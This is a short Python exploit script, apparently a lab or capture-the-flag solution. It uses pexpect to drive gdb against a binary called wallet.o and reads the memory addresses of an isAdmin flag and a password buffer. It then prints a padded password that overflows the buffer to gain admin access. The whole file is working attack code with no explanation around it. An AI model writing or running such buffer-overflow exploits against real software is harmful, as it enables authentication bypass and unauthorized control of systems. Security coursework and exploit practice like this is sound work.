exploit.py

#!/usr/bin/python3
import sys, re, pexpect

terminal = pexpect.spawn("/bin/bash", encoding='utf-8')
terminal.logfile = sys.stdout
terminal.sendline("gdb wallet.o")
terminal.expect("(gdb)")
terminal.sendline("break authenticate")
terminal.expect("Breakpoint")
terminal.sendline("run")
terminal.expect("Login as:")
terminal.sendline("")
terminal.expect("Password:")
terminal.sendline("")
terminal.expect("(gdb)")
terminal.sendline("print &isAdmin")
index = terminal.expect(re.compile("0x\w+"))
isAdminAddress = terminal.match.group(index)
terminal.sendline("print &userPassword")
index = terminal.expect(re.compile("0x\w+"))
userPasswordAddress = terminal.match.group(index)
terminal.sendline("quit")
terminal.expect("y or n")
terminal.sendline("y")
numOfBytes = int(isAdminAddress[2:], 16) - int(userPasswordAddress[2:], 16)
print("Insert this into password section to gain control via buffer overflow:\n" + numOfBytes*"A"+"B")

input()